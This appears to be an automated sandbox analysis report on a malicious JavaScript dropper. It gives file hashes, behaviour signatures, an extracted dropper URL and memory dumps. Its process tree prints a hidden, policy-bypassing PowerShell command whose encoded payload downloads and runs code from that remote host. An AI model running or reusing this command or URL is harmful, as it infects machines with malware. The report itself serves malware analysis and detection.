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Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    21/04/2024, 18:04

General

  • Target

    ffda87ae8127e7b6b061ac1f9c589d16_JaffaCakes118.js

  • Size

    134KB

  • MD5

    ffda87ae8127e7b6b061ac1f9c589d16

  • SHA1

    5f379ba6b0adb0427c7a7d8c4f6b12da1d7b762e

  • SHA256

    6fa679b595a6942226944f98077bbe75040a77db3b1c5ebdac4542ecad57bfbc

  • SHA512

    be0714eb1274796066a1551ef92aaf55616976192ad600903923243b8748a2b8dd48e4b671d3d2492316e152353849fbdfdb4bcb63c162293be1500be112cbe9

  • SSDEEP

    3072:RzRuF0zvbCqAwEu/SnpfEUKDmcjedPObLTw/E9Xuqq0UaijPsJjxsQM:RzRuF0zvbCqAwEu/SnpfJKDmcj7bRuRR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://asesoriasconfood.com.co/magazine/magazine.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ffda87ae8127e7b6b061ac1f9c589d16_JaffaCakes118.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2948-4-0x000000001B690000-0x000000001B972000-memory.dmp

    Filesize

    2.9MB

  • memory/2948-5-0x0000000002070000-0x0000000002078000-memory.dmp

    Filesize

    32KB

  • memory/2948-6-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

    Filesize

    9.6MB

  • memory/2948-8-0x0000000002D60000-0x0000000002DE0000-memory.dmp

    Filesize

    512KB

  • memory/2948-7-0x0000000002D60000-0x0000000002DE0000-memory.dmp

    Filesize

    512KB

  • memory/2948-9-0x0000000002D60000-0x0000000002DE0000-memory.dmp

    Filesize

    512KB

  • memory/2948-10-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

    Filesize

    9.6MB

  • memory/2948-11-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

    Filesize

    9.6MB